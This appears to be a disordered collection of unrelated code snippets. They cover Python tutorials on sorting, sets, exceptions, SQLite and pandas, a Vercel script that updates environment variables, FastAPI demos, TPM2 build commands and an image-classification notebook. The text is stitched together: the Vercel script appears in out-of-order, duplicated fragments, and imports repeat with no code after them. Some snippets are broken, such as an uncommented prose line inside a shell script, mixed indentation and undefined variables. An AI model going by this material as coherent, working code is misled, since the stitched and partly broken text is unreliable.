        target and also remove development target if exists.
        '''

        data = {
            'key': env['key'],
            'target': targets,
            'type': 'sensitive',
            'value': decrypted_env['value']
        }
        data = json.dumps(data)
        response = requests.patch(
            url_to_get_or_update_env,
            params=payload,
            headers=headers,
            data=data
        )
        # Print the response in a safe environment if required.

        '''
        Step 4: Recreate the variable with development target
        if it existed before updation in previous step.
        '''

        if 'development' in env['target']:
            data = {
                'key': env['key'],
                'target': ['development'],
                'type': 'encrypted',
                'value': decrypted_env['value']
            }

            data = json.dumps(data)
            url_to_create_env = f"https://api.vercel.com/v9/projects/{os.getenv('PROJECT_ID')}/env"
            response = requests.post(
                url_to_create_env,
                params=payload,
                headers=headers,
                data=data
            )

            # Print the response in a safe environment if required.
for env in all_env_vars:
    # Update only if production is one of the targets of the variable.
    if 'production' in env['target'] and env['type'] != 'sensitive':

        '''
        Check if target array has development in it.
        Because development target cant have sensitive variables.
        '''

        targets = env['target'][:]
        if 'development' in targets:
            targets.remove('development')

        '''
        Step 2: Get decrypted value of each env variable.
        '''

        url_to_get_or_update_env = f"https://api.vercel.com/v9/projects/{os.getenv('PROJECT_ID')}/env/{env['id']}"
        decrypted_env_response = requests.get(
            url_to_get_or_update_env,
            params=payload,
            headers=headers
        )
        decrypted_env = decrypted_env_response.json()
        # Print the response in a safe environment if required.

        '''
        Step 3: Update all variables to be sensitive if it has production
        target and also remove development target if exists.
        '''

        data = {
            'key': env['key'],
            'target': targets,
            'type': 'sensitive',
            'value': decrypted_env['value']
        }
        data = json.dumps(data)
        response = requests.patch(
            url_to_get_or_update_env,
            params=payload,
            headers=headers,
            data=data
        )
        # Print the response in a safe environment if required.
# Delete items which are not required for update endpoint from payload.
del payload['decrypt']
del payload['source']


for env in all_env_vars:
    # Update only if production is one of the targets of the variable.
    if 'production' in env['target'] and env['type'] != 'sensitive':

        '''
        Check if target array has development in it.
        Because development target cant have sensitive variables.
        '''

        targets = env['target'][:]
        if 'development' in targets:
            targets.remove('development')

        '''
        Step 2: Get decrypted value of each env variable.
        '''

        url_to_get_or_update_env = f"https://api.vercel.com/v9/projects/{os.getenv('PROJECT_ID')}/env/{env['id']}"
        decrypted_env_response = requests.get(
            url_to_get_or_update_env,
            params=payload,
            headers=headers
        )
        decrypted_env = decrypted_env_response.json()
        # Print the response in a safe environment if required.
import os
import requests
import json
from dotenv import load_dotenv

# Load env from .env file.
load_dotenv()

'''
Step 1: Get all env variables.
'''

url_to_get_all_envs = f"https://api.vercel.com/v9/projects/{os.getenv('PROJECT_ID')}/env"
payload = {
    'decrypt': 'true',
    'slug': os.getenv('SLUG'),
    'source': 'vercel-cli:pull',
    'teamId': os.getenv('TEAM_ID')
}
headers = {
    'Authorization': f"Bearer {os.getenv('VERCEL_TOKEN')}",
    'Content-Type': 'application/json'
}

all_env_vars = requests.get(
    url_to_get_all_envs,
    params=payload,
    headers=headers
)

# Print the response in a safe environment if required.
all_env_vars = all_env_vars.json()['envs']
import os
import requests
import json
from dotenv import load_dotenv

# Load env from .env file
load_dotenv()
import os
import requests
import json
from dotenv import load_dotenv
def factorial(n):
	if n < 1:
    	return 1

	return n*factorial(n-1)

factorial(5)
#cd to the relevant file
cd /usr/share/applications
#us nano text editor on the proper file
sudo nano yourapp.desktop
#Make entry into the file and save it 
[Desktop Entry]
Name=YourAppName
Exec=/path/to/your/executable
Icon=/path/to/your/icon
Type=Application
Terminal=false
# Analyzing Clicks A Python Function for Extracting Weekly Stats

users_data = [
    {'day': 0, 'clicks': 100}, {'day': 1, 'clicks': 10},
    {'day': 2, 'clicks': 150}, {'day': 3, 'clicks': 1000},
    {'day': 4, 'clicks': 100}, {'day': 5, 'clicks': 190},
    {'day': 6, 'clicks': 150}, {'day': 7, 'clicks': 1000}
]

def get_stats(day):
    # -1 to start from day 0 because day in date is 1
    return users_data[day - 1: day + 7]

print(get_stats(1))
import sqlite3

# Connect to the database
con = sqlite3.connect('database.db')

# Create a cursor object
cursor = con.cursor()

# Define the data to be inserted as a list of tuples
data = [
    ('John Doe', 'johndoe@example.com'),
    ('Jane Smith', 'janesmith@example.com'),
    ('Mike Johnson', 'mikejohnson@example.com')
]

# Use executemany() to insert the data into the "users" table
cursor.executemany("INSERT INTO users (name, email) VALUES (?, ?)", data)

# Commit the changes
con.commit()
import sqlite3

# Connect to the database
con = sqlite3.connect('database.db')

# Create a cursor object
cursor = con.cursor()

# Update user name based on ID
user_id = 2
new_name = "John Doe"

cursor.execute("UPDATE users SET name = ? WHERE id = ?", (new_name, user_id))

# Commit the changes
con.commit()
import sqlite3

# Connect to the database
con = sqlite3.connect('database.db')

# Create a cursor object
cursor = con.cursor()

# Fetch all data from the "users" table
cursor.execute("SELECT * FROM users")
data = cursor.fetchall()

# Print the retrieved data
for row in data:
    print(row)
import sqlite3

# Connect to the database
con = sqlite3.connect('database.db')

# Create a cursor object
cursor = con.cursor()

# Delete user based on ID
user_id = 123

cursor.execute("DELETE FROM users WHERE id = ?", (user_id,))

# Commit the changes
con.commit()
import sqlite3

# Connect to the database
con = sqlite3.connect('database.db')

# Create a cursor object
cursor = con.cursor()

# Fetch data based on the ID filter
cursor.execute("SELECT * FROM users WHERE id = ?", (123,))
data = cursor.fetchall()

# Print the retrieved data
for row in data:
    print(row)

import sqlite3

# Connect to the database
con = sqlite3.connect('database.db')

# Create a cursor object
cursor = con.cursor()

# Create a cursor object
cursor = con.cursor()

# Insert a new user
cursor.execute("INSERT INTO users (name, email) VALUES (?, ?)", ("John Doe", "johndoe@example.com"))

# Commit the changes
con.commit()

import vertexai
from vertexai.generative_models import GenerativeModel

# TODO(developer): Update and un-comment below line
# project_id = "PROJECT_ID"

vertexai.init(project=project_id, location="us-central1")

model = GenerativeModel(model_name="gemini-1.5-flash-001")

response = model.generate_content(
    "What's a good name for a flower shop that specializes in selling bouquets of dried flowers?"
)

print(response.text)
# Extract email addresses using regexp
import re
email_log = """Email received June 2 from user1@email.com.
Email received June 2 from user2@email.com.
Email rejected June 2 from invalid_email@email.com."""

#\w means any alpha numeric characters 
print(re.findall("\w+@\w+\.\w+",email_log))
from docx import Document
import pandas as pd

df = pd.read_csv('out.csv').to_dict()
word_doc = Document()

table_head = list(df.keys())

table_head_len = len(table_head)
tables_rows_len = len(df['name'])

# create tabel
table = word_doc.add_table(cols = table_head_len, rows = tables_rows_len)

# add the first row in the table
for i in range(table_head_len):
    table.cell(row_idx = 0, col_idx = i).text = table_head[i]


# add rows for name col
for i in range(1, tables_rows_len):
    table.cell(row_idx = i, col_idx = 0).text = df['name'][i]


# add rows for age col
for i in range(1, tables_rows_len):
    table.cell(row_idx = i, col_idx = 1).text = str(df['age'][i])


word_doc.save('word_doc.docx')
D = {num: num ** 2 for num in range(1, 11)}

print(D)
from functools import lru_cache, partial
import timeit

@lru_cache(maxsize = 128)
def fibonacci(n):
    if n == 0:
        return 0
    elif n == 1:
        return 1
    return fibonacci(n - 1) + fibonacci(n - 2)

#the first time
execution_time = timeit.Timer(partial(fibonacci, 50)).timeit(1)
print(execution_time)

#the second time
execution_time = timeit.Timer(partial(fibonacci, 50 )).timeit(1)
print(execution_time)
myData = [
    {'a': 1},
    {'a': 1},
    {'b': 1},
    {'b': 1},
    {'c': 1},
    {'c': 1},
]

# Use a set to track seen tuples of items (key-value pairs as tuples)
seen = set()
unique_data = []

for d in myData:
    # Convert each dictionary to a tuple of its items, then convert to frozenset
    # to make it hashable and suitable for use in a set
    dict_items = frozenset(d.items())
    
    # Check if the frozenset of items is already in the set
    if dict_items not in seen:
        # If not seen, add to both set and result list
        seen.add(dict_items)
        unique_data.append(d)

print(unique_data)
import math 

print(math.log10(10))
print(math.log10(50))
print(math.log10(100))
print(math.log10(200))
print(math.log10(1000))
from collections import Counter

data = ['Java', 'Python', 'Java', 'C++', 'Python', 'PHP', 'C++', 'Java', 'PHP', 'Java', 'Python']

c = Counter(data)

print(c.most_common(3))
import tempfile

temp = tempfile.TemporaryFile('w+')
print(temp)

#write to the file
temp.write("Hello world,")
temp.write("\nWelcome to Pynerds.")

#read from the file
temp.seek(0)
for i in temp.read():
    print(i, end = '')

temp.close()
#Example with list
L = [1, 2, 3, 4, 5, 6, 7, 8, 9]
print(ascii(L.__repr__())) #same as print(L)

#Example with tuples
T = ("Pynerds", "Python", "Django", "Flask")
print(T.__repr__()) #same as print(T)

D = {1: "One", 2: "Two", 3: "Three"}

print(D.__repr__())#Same as print(D)
from collections import namedtuple

Point = namedtuple("Point", ['x', 'y'])

p = Point(3, 5)

print(p.x, p.y) #using attributes
print(p[0], p[1]) # using indexes
# Visualize the distribution of sentiment values
import matplotlib.pyplot as plt
import seaborn as sns

# Set the style of the visualization
sns.set(style='whitegrid')

# Create a histogram of the sentiment values
plt.figure(figsize=(10, 6))
sns.histplot(df['sentiment'], bins=30, kde=True, color='blue')
plt.title('Distribution of Sentiment Values')
plt.xlabel('Sentiment')
plt.ylabel('Frequency')
plt.show()
# Perform sentiment analysis on the tweets and plot the results
from textblob import TextBlob
import matplotlib.pyplot as plt
import seaborn as sns

# Function to get the sentiment polarity

def get_sentiment(text):
    return TextBlob(text).sentiment.polarity

# Apply the function to the tweet column

df['sentiment'] = df['tweet'].apply(get_sentiment)

# Plot the sentiment distribution
plt.figure(figsize=(10, 6))
sns.histplot(df['sentiment'], bins=30, kde=True)
plt.title('Sentiment Distribution of Tweets')
plt.xlabel('Sentiment Polarity')
plt.ylabel('Frequency')
plt.show()

print('Sentiment analysis and plot completed.')
# This code will plot the frequency of hate speech over the index of the dataset.

import pandas as pd
import matplotlib.pyplot as plt

# Load the data
df = pd.read_csv('train new.csv')

# Plot the frequency of hate speech over the index of the dataset
plt.figure(figsize=(12, 6))
plt.plot(df.index, df['hate_speech_count'], label='Hate Speech Count')
plt.xlabel('Index (Proxy for Time)')
plt.ylabel('Hate Speech Count')
plt.title('Frequency of Hate Speech Over Time')
plt.legend()
plt.show()
import pandas as pd

dict_data = {
    'users': ['user_123', 'user_abc'],
    'tasks': ['test1', 'test2']
}

df = pd.DataFrame.from_dict(dict_data)
df.to_html('out.html')
import pandas as pd

dict_data = {
    'users': ['user_123', 'user_abc'],
    'tasks': ['test1', 'test2']
}

df = pd.DataFrame.from_dict(dict_data)
df.to_pickle('out.pkl')

# read pkl file
print(pd.read_pickle('out.pkl'))
import pandas as pd

# All arrays must be of the same length
dict_data = {
    'users': [{'name': 'test'}, {'name': '123'}], 
    'tasks': [{'name': 'test123'}, {'name': '45456'}]
}

df = pd.DataFrame.from_dict(dict_data)
df.to_json('out.json', indent = 4)
from random import randint
from faker import Faker
from datetime import date
import pandas as pd

f = Faker()

s_date = date(2018, 5, 1)
e_date = date(2018, 5, 30)

dict_data = {'date': [], 'email': [], 'money': []}

for _date in pd.date_range(start = s_date, end = e_date):
    dict_data['date'].append(_date)
    dict_data['email'].append(f.email())
    dict_data['money'].append(randint(1, 100) * 0.99)

df = pd.DataFrame.from_dict(dict_data)
df.to_csv('out.csv', index = 0)
#import the module
import asyncio

#define asynchronous tasks
async def task1():
    #prints even numbers from 0 to 9
    for i in range(10):
       if i%2 ==0:
           print(i)
           await asyncio.sleep(0.0001)#cause a small delay

async def task2():
     #prints odd numbers from 0 to 9
     for i in range(10):
         if i%2 == 1:
             print(i)
             await asyncio.sleep(0.0001) # cause a small delay

async def main():
    print('Started:')
    await asyncio.gather(task1(), task2())
    print('Finished!')

asyncio.run(main())
#import the sqlite3 module
import sqlite3

#create a tble
with sqlite3.connect(':memory:') as conn:
  #create a table
  conn.execute('''
    CREATE TABLE point(
      id INTEGER PRIMARY KEY AUTOINCREMENT,
      x INTEGER,
      y INTEGER
      )
    ''')

  #populate table
  conn.executescript('''
    INSERT INTO point (x, y) VALUES (3, 4);
    INSERT INTO point (x, y) VALUES (2, 3);
    INSERT INTO point (x, y) VALUES (-2, 5);
    ''')

  #retrieve data
  cursor = conn.cursor()
  cursor.execute('SELECT x, y FROM point;')

  print(cursor.fetchall())
  cursor.close()
#import the namedtuple factory method
from collections import namedtuple

#create a namedtuple to represent a Point
Point = namedtuple('Point', ['x', 'y'])

#Create objects from the namedtuple 'Point' 
p = Point(3, 4)

#Access the elements using the numeric indices
print(p[0], p[1])

#Access the elements using their names
print(p.x, p.y)
#a list of strings
mylist = ['Python', 'Java', 'C++', 'Ruby']

#remove all elements from the list
mylist.clear()

#the list is now empty
print(mylist)
 
nums = [1, 2, 3, 4, 5]
print('before: ')
print(nums)

#call the reverse method()
nums.reverse()

print("after: ")
print(nums)
 
class Point:
    __slots__ = ('x', 'y')
    def __init__(self, x, y):
        self.x = x
        self.y = y

p = Point(3, 4)
print(f'x: {p.x}')
print(f'y: {p.y}')
 
countries = ['Japan', 'Russia', 'Canada', 'Russsia']

countries.remove('Russia')

print(countries)
 
A = {'a', 'b', 'c', 'd', 'e', 'f'}
B = {'b', 'c', 'd'}

#get the difference
diff = A.difference(B)
print(diff)
#Define the sets
A = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9}
B = {2, 3, 5, 7}

#get the difference using the - operator
diff = A - B
print(diff)
from human_readable.files import file_size
import os

print(file_size(value = os.stat('test.txt').st_size))
def divide(a, b):
    assert b != 0
    print(f"{a} / {b} = {a/ b}")

divide(10, 2)
divide(10, 0)
#the break statement, causes the loop to immediately terminate.

seq = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]

for i in seq:
    #define the condition
    if i == 5:
        break
    print(i)

print('after the loop')
#import the random module
import random

#The sequence to choose from
L = ['Python', 'Javascript', 'Ruby', 'Java', 'PHP', 'C++', 'C#', 'HTML', 'CSS']

#Choose random items from the list
print(random.choices(L, k = 3))
#an exception to be raised by an empty stack
class EmptyStack(Exception):
    pass

class Stack:
    
    def __init__(self):
        self._items = [] #non-public list for storing stack elements

    def __len__(self):
        return len(self._items)

    def isEmpty(self):
        return len(self) == 0 

    def push(self, e):
        self._items.append(e) #add the element at the end of the list

    def top(self):
        if self.isEmpty():
            raise EmptyStack("Stack Is Empty.")
        return self._items[-1] #Return the last element in list

    def pop(self):
        if self.isEmpty():
            raise EmptyStack("Stack Is Empty.")
        return self._items.pop() #pop the last item from the list

# test the stack
S = Stack()

S.push("A")
S.push("B")
S.push("C")
print(S.pop())
print(S.pop())
print(S.pop())
print(S.pop())
#merge sort

#the merge algorithm
def merge(L1, L2, L):
  i = 0
  j = 0
  while i+j < len(L):
    if j == len(L2) or (i < len(L1) and L1[i] < L2[j]):
       L[i+j] = L1[i]
       i += 1
    else:
       L[i+j] = L2[j]
       j += 1

#main function
def merge_sort(L):

  n = len(L)
  if n < 2:
     return # list is already sorted

  # divide
  mid = n // 2 #midpoint
  L1 = L[0:mid] # the first half
  L2 = L[mid:n] # the second half
 
  # conquer with recursion
  merge_sort(L1) # sort first sub-list
  merge_sort(L2) # sort second sub-list

  # merge result
  merge(L1, L2, L) 

#example
L = [7, 5, 1, 4, 2, 8, 0, 9, 3, 6]
print('Before: ', L)
merge_sort(L)
print('After: ', L)
def insertion_sort(lst):
   for i in range(1, len(lst)):
      j = i
      while (j > 0) and lst[j-1] > lst[j]:
         lst[j-1], lst[j] = lst[j], lst[j-1] #swap the elements
         j -=1

#sort a list
L = [5, 2, 9, 3, 6, 1, 0, 7, 4, 8]
insertion_sort(L)
print("The sorted list is: ", L)
#descending selection sort
def selection_sort(lst):
  for i in range(len(lst)):
    smallest = i

    for j in range(i + 1, len(lst)):
      if lst[j] > lst[smallest]:
        smallest = j

    lst[i], lst[smallest] = lst[smallest], lst[i] #swap the elements

#sort a list
L = [99, 9, 0, 2, 1, 0, 1, 100, -2, 8, 7, 4, 3, 2]
selection_sort(L)

print("The sorted list is: ", L)
#Optimized bubble sort
def bubble_sort(lst):

  swapped = True
  while swapped == True:
    swapped = False
    for j in range(len(lst)-1):  
      
      if(lst[j]>lst[j+1]):
        lst[j], lst[j + 1] = lst[j + 1], lst[j] #swap the elements
        swapped = True

#sort a list
L = [9, 0, 2, 1, 0, 1, 100, -2, 8, 7, 4, 3, 2]

bubble_sort(L)  
print("The sorted list is: ", L)
#import the random module
import random

#The list to shuffle
my_list = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]

#shuffle the list in-place
random.shuffle(my_list)

print(my_list)
#import the random module
import random

#The sequence to sample
my_seq = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]

#get a sample of 4 elements
print(random.sample(my_seq, 4))
myset = {1, 3, 5, 7, 9, 11}

#remove an arbitrary element
print(myset.pop())
print(myset.pop())
print(myset.pop())
print(myset.pop())

print(myset)
#unlike set.remove(), If the target element does not exist, set.discard method does not raise a KeyError, it returns None instead.

myset = {1, 3, 4, 5, 7, 8, 9}

#remove elements
myset.discard(4)
myset.discard(8)

print(myset)
myset = {'Python', 'Java', 'C++'}

#add elements to the set
myset.add('PHP')
myset.add('HTML')
myset.add('Javascript')

print(myset)
import functools

def power(a, b):
    return a ** b

square = functools.partial(power, b = 2)
cube = functools.partial(power, b = 3)

print(square(5))
print(cube(5))
#finally block always gets executed
#else block is only executed if no exception was raised

import math

try:
   print("Hello, World!")
   print(10/ 5)
   print(math.sqrt(-9))

except ValueError:
   print("a ValueError has occurred")

except IndexError:
    print("IndexError has occurred")

else:
    print("No Exception was raised.")
finally:
    print("This block always gets executed")
#The else block only gets executed if the try block terminates successfully i.e  no exception was raised inside the block.


import math

try:
   print("Hello, World!")
   print(10/ 2)
   print(math.sqrt(9))

except ValueError:
   print("a valu error has occurred")

except IndexError:
    print("IndexError has occurred")

else:
    print("No Exception was raised.")
import math

try:
   
   #This will raise a TypeError
   print( 3 + 'hello' )

   #This will raise a ValueError
   math.sqrt(-16)

   #This will raise a NameError
   print(a)
   
   #This will raise a zeroDivisionError
   print(10 / 0)

except NameError:
    print("A NameError occurred")

except ValueError: 
    print("A ValueError occurred")

except ZeroDivisionError:
    print("A ZeroDivisionError occurred")

except TypeError:
    print("A TypeError occurred")
try:
   
    print(1 / 0)

except ZeroDivisionError:
    print("You divided a number by 0.")
#a list of strings
languages = ['Python', 'Java']

#append an element
languages.append('PHP')
print(languages)

languages.append('C++')
print(languages)

languages.append('Javascript')
print(languages)
def add(a, b):
    print(f'{a} + {b} = {a + b}')

a = 10
b = 20
add(a, b)
#itertools.count()- creates an iterator which yields infinite sequence of integers from a starting point 

from itertools import count

seq = count(0, 2) #an infinite sequence of even numbers

print(next(seq))
print(next(seq))
print(next(seq))
print(next(seq))
print(next(seq))
data = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]

def is_odd(num):
   return num % 2 == 1

odds = filter(is_odd, data)

print(*odds)
from itertools import repeat

#repeat a string 10 times
r = repeat('Spam', 10)
print(r)

for i in r:
    print(i)
import pause

def test():
    print('done')

def run_after(func, amount_of_time):
    pause.milliseconds(amount_of_time)
    func()

run_after(test, 10000)
from textblob import TextBlob

text = 'how are you'

blob = TextBlob(text)

if blob.polarity > 0:
    print('Positive')
elif blob.polarity < 0:
    print('Negative')
else:
    print('Neutral')
users_db = [
    {'id': '2313', 'coins': 50},
    {'id': '8213', 'coins': 20},
    {'id': '9989', 'coins': 0},
    {'id': '4654', 'coins': 1},
    {'id': '7897', 'coins': 3},
    {'id': '9898', 'coins': 60}
]

users_db.sort(key = lambda user: user['coins'])
print(users_db)
users_db = [
    {'id': 'ax123', 'money': 5},
    {'id': 'z5541', 'money': 0}
]

def get_user_by_id(user_id):
    for user in users_db:
        if user['id'] == user_id:
            return user
        
def send_money(from_id, to_id, amount):
    from_user_a = get_user_by_id(from_id)
    to_user_b = get_user_by_id(to_id)

    if from_user_a and to_user_b:
        if from_user_a['money'] >= amount:
            from_user_a['money'] -= amount
            to_user_b['money'] += amount
        else:
            print('the amount of money is large than your balance')
        
    

send_money('ax123', 'z5541', 2)
send_money('ax123', 'z5541', 2)
print(users_db)
from faker import Faker
from random import randint, choice

f = Faker()
payment_methods = ['paypal', 'bitcoin']

for _ in range(20):
    money = randint(1, 100) * 0.99
    pyment_method = choice(payment_methods)
    user_email = "*****" + f.email()[6:]
    print(f'{money}$ --- {user_email} --- {pyment_method}')
#Make directory in files, then right-click the directory and select "Open in Terminal"
#All following "sudo" command can be ignored by obtaining root permission from the opened terminal
sudo apt -y install git
sudo apt  -y install tpm2-tools

#Create script and run it in the current directory for software dependencies:
sudo apt -y install \
autoconf-archive \
libcmocka0 \
libcmocka-dev \
procps \
iproute2 \
build-essential \
git \
pkg-config \
gcc \
libtool \
automake \
libssl-dev \
uthash-dev \
autoconf \
doxygen \
libjson-c-dev \
libini-config-dev \
libcurl4-openssl-dev \
uuid-dev \
libltdl-dev \
libusb-1.0-0-dev \
libftdi-dev

#Copy & Paste these next commands in the terminal tab you are currently working in:

#Getting source, compiling and installing tpm2-tss:
git clone https://github.com/tpm2-software/tpm2-tss.git
cd tpm2-tss
./bootstrap
./configure  --with-udevrulesdir=/etc/udev/rules.d/
make -j`nproc`
sudo make install
sudo ldconfig
sudo udevadm control --reload-rules && sudo udevadm trigger
sudo pkill -HUP dbus-daemon
cd ..

#Install pre-requisties for tpm2-abrmd:
sudo apt -y install libglib2.0-dev

Getting Source, compiling and install tpm2-abrmd:
git clone https://github.com/tpm2-software/tpm2-abrmd.git
cd tpm2-abrmd
./bootstrap
./configure --with-dbuspolicydir=/etc/dbus-1/system.d
make -j`nproc`
sudo make install
sudo ldconfig
cd ..

#Source, compiling and installing tpm2-tools:
git clone https://github.com/tpm2-software/tpm2-tools.git
cd tpm2-tools
./bootstrap
./configure
make -j`nproc`
sudo make install
sudo ldconfig

#Should be able to use TPM device to generate a random number:
sudo tpm2_getrandom --hex 8
# Create a virtual environment
python -m venv venv  # Windows
python3 -m venv venv  # MacOS/Linux

# Activate the virtual environment
venv\Scripts\activate  # Windows
source venv/bin/activate  # MacOS/Linux

# Install required packages
pip install kivy

# Create requirements.txt file
pip freeze > requirements.txt

# Run a test script
python test.py

--------------------------
in case of an POLICY error -- 
PS D:\Coding Stuff, Editing\Visual Studio Python Codings\MyProjects\BurgerBillingSystem> .\burger-billing-system-env\Scripts\activate     
.\burger-billing-system-env\Scripts\activate : File D:\Coding Stuff, Editing\Visual Studio Python 
Codings\MyProjects\BurgerBillingSystem\burger-billing-system-env\Scripts\Activate.ps1 cannot be loaded because running scripts is disabled on this system.     
For more information, see about_Execution_Policies at https:/go.microsoft.com/fwlink/?LinkID=135170.
At line:1 char:1
+ .\burger-billing-system-env\Scripts\activate
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : SecurityError: (:) [], PSSecurityException
    + FullyQualifiedErrorId : UnauthorizedAccess

The error message you are encountering indicates that running scripts is disabled on your systems PowerShell execution policy. This is a security measure to prevent malicious scripts from running.

Here is how to fix this and activate your virtual environment:

Change the Execution Policy (For Administrators Only):

Open PowerShell as Administrator. "Right-click on the PowerShell" icon and select "Run as administrator".

Type the following command and press Enter:
"PowerShell Set-ExecutionPolicy RemoteSigned -Scope CurrentUser"

Activate the Virtual Environment (After Policy Change):
Navigate to your project directory using the cd command in PowerShell.
Run the activation command again:

---------------------------------
For Anaconda Jupyter Notebook -
pip install venv
python -m venv env_test
.\env_test\Scripts\activate
pip install ipykernel
python -m ipykernel install --user --name kernel_ai_cnn_1
# Quotes API
from fastapi import FastAPI, Request
from slowapi.util import get_ipaddr
from slowapi.errors import RateLimitExceeded
from slowapi import Limiter, _rate_limit_exceeded_handler

import json

def get_quotes():
    return json.load(open('quotes.json', 'r'))

app = FastAPI()
limiter = Limiter(key_func = get_ipaddr)
app.state.limiter = limiter
app.add_exception_handler(RateLimitExceeded, _rate_limit_exceeded_handler)

@app.get('/')
@limiter.limit('10/minute')
def home(request: Request):
    return {'msg': 'Hello, World'}


@app.get('/quotes')
@limiter.limit('10/minute')
def quote(request: Request):
    return get_quotes()
optimizer = tf.keras.optimizers.Adam()

# Define your loss function (e.g., Mean Squared Error)
mse_loss_fn = tf.keras.losses.MeanSquaredError()

# Compile the model
cvae_model.compile(optimizer=optimizer, loss=mse_loss_fn)

# Train the model
cvae_model.fit([data, clusters], data, epochs=10, batch_size=32)
from fastapi import FastAPI


db = [
 {'api_key': '437af89f-38ba-44f1-9eda-924f370193d4',
  'tokens': 3,
  'user_id': '6ddf9779-4be7-449c-a70d-51e81c19dd0b'},
 {'api_key': '48762b59-e968-459e-b28d-50e7a1ad37a4', 
  'tokens': 3,
  'user_id': 'daf36850-68ab-40fc-86af-e6093b6797dd'},
 {'api_key': 'dabbd875-acbd-4b98-a47f-a526075d41b4', 
  'tokens': 3,
  'user_id': '5750957f-a246-4290-a35e-2dec83bcfcea'},
 {'api_key': '604d5fe2-f7ce-4560-8137-eeae32091738',
  'tokens': 3,
  'user_id': '2d4ac462-b118-48d7-897e-163c2e8327aa'},
 {'api_key': '8540cbef-de3e-4cbd-83bc-f66297a7f407',
  'tokens': 3,
  'user_id': 'bb435e7e-b5da-4a8c-b860-e43a8e765f67'}
]



app = FastAPI()

def update_tokens_for_user(user_id, api_key):
    for user in db:
        if user['user_id'] == user_id and user['api_key'] == api_key:
            tokens = user['tokens']
            if tokens > 0:
                tokens = tokens - 1
                user['tokens'] = tokens

                return {'tokens': tokens}
            
            else:
                return {'tokens': tokens, 'msg': 'you need to get more tokens'}


@app.get('/test')
def test(user_id : str, api_key: str):
    result = update_tokens_for_user(user_id, api_key)
    if result:
        return result
    else:
        return {'msg': 'api key or user id is not found'}
import pprint

data = {'email': 'test@test.com', 'password': '123'}

print(data, type(data))

# convert dict to str
result = pprint.pformat(data)

print(result, type(result))
from peewee import Model, SqliteDatabase, CharField, IntegerField, UUIDField
from uuid import uuid4
from faker import Faker
from random import randint

fake = Faker()

db = SqliteDatabase('mydb.db')

class User(Model):
    name = CharField(max_length = 25)
    email = CharField(max_length = 25)
    age = IntegerField()
    password = CharField(max_length = 100)
    user_id = UUIDField(primary_key = True, default = uuid4)

    class Meta:
        database = db


db.connect()
db.create_tables([User])

for i in range(20):
    new_user = User.create(**{
        'name': fake.name(),
        'email': fake.email(),
        'age': randint(12, 45),
        'password': fake.password()
    })

    new_user.save()

db.commit()
# Scanning the directory using os python function
img_dirs = []
for entry in os.scandir(path_to_data):
    if entry.is_dir():
        img_dirs.append(entry.path)
# Evaluating the best model on the test set
best_model = grid_search.best_estimator_
test_score = best_model.score(x_test, y_test)
print('Test set accuracy:', test_score)
pipe = make_pipeline(MinMaxScaler(), PCA(n_components=100), SVC())
param_grid = {
    'svc__kernel': ['rbf', 'linear'],
    'svc__C': [1, 10],
    'svc__gamma': [0.01, 0.1]
}
# Training the initial SVC model
pipe = Pipeline([('scaler', StandardScaler()), ('svc', SVC(kernel = 'rbf', C = 10))])
pipe.fit(x_train, y_train)
pipe.score(x_test, y_test)
x_train, x_test, y_train, y_test = train_test_split(x, y, random_state = 0)
# Creating a stacked version of the image - original and distorted one
x, y = [], []
for disease_name, training_files in oral_disease_file_names_dict.items():
    for training_image in training_files:
        img = cv2.imread(training_image)
        scaled_orig_img = cv2.resize(img, (40, 30))
        img_har = w2d(img, 'db1', 5)
        scaled_img_har = cv2.resize(img_har, (40, 30))
        stacked_img = np.vstack((scaled_orig_img.reshape(40*30*3,1),scaled_orig_img.reshape(40*30*3,1)))
        x.append(stacked_img)
        y.append(class_dict[disease_name])
# Transforming the image to improve detection
def w2d(img, mode='haar', level=1):
    imArray = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)
    coeffs = pywt.wavedec2(imArray, mode, level=level)
    coeffs[0] *= 0
    imArray_H = pywt.waverec2(coeffs, mode)
    imArray_H = np.clip(imArray_H, 0, 255)
    imArray_H = np.uint8(imArray_H)
    return imArray_H
# Creating the labels based on directories
class_dict = {}
count = 0
for disease_name in oral_disease_file_names_dict.keys():
    class_dict[disease_name] = count
    count = count + 1
class_dict
# Collecting file directories into a dictionary
oral_disease_file_names_dict = {}

for img_dir in img_dirs:
    disease_name = img_dir.split('/')[-1]
    oral_disease_file_names_dict[disease_name] = []
    for root, dirs, files in os.walk(img_dir):
        for file in files:
            if file.endswith(('.jpg', '.jpeg', '.png', '.bmp', '.gif')): 
                file_path = os.path.join(root, file)
                oral_disease_file_names_dict[disease_name].append(file_path)
# Scanning the directory using os python function to collect
img_dirs = []
for entry in os.scandir(path_to_data):
    if entry.is_dir():
        img_dirs.append(entry.path)
# Loading the smile cascade classifier
smile_cascade = cv2.CascadeClassifier('kaggle/input/haar-cascades-for-face-detection/haarcascade_smile.xml')
smile = smile_cascade.detectMultiScale(gray, scaleFactor = 1.1, minNeighbors = 5, minSize = (30, 30))
for (x, y, w, h) in smile:
    cv2.rectangle(img, (x, y), (x + w, y + h), (255, 0, 0), 2)
output_path = 'kaggle/working/image_with_teeth.jpg'
cv2.imwrite(output_path, img)
print('Image with detected teeth saved to:', output_path)
img = cv2.imread('kaggle/input/oral-diseases/Calculus/Calculus/(1).jpg')
img.shape
plt.imshow(img)
# Cleaning the index values and aggregating the counts of ingredients

top_ingredient_counts = {}

for ingredient, count in top_ingredient_series_sorted.items():
    top_ingredient_cleaned = ingredient.replace('[', '').replace(']', '').replace("'", "")
    if top_ingredient_cleaned in top_ingredient_counts:
        top_ingredient_counts[top_ingredient_cleaned] += count
    else:
        top_ingredient_counts[top_ingredient_cleaned] = count
top_ingredient_series_cleaned = pd.Series(top_ingredient_counts, dtype = int)
print(top_ingredient_series_cleaned)
# Iterating over rows and counting the occurrences of ingredients listed in the 'TopNotes' column 
top_ingredient_counts = {}

for index, row in df.iterrows():
    top_notes_list = row['TopNotes']
    if isinstance(top_notes_list, list):
        for ingredient in top_notes_list:
            top_ingredient_counts[ingredient] = top_ingredient_counts.get(ingredient, 0) + 1
    elif isinstance(top_notes_list, str):
        ingredients = [x.strip() for x in top_notes_list.split(',')]
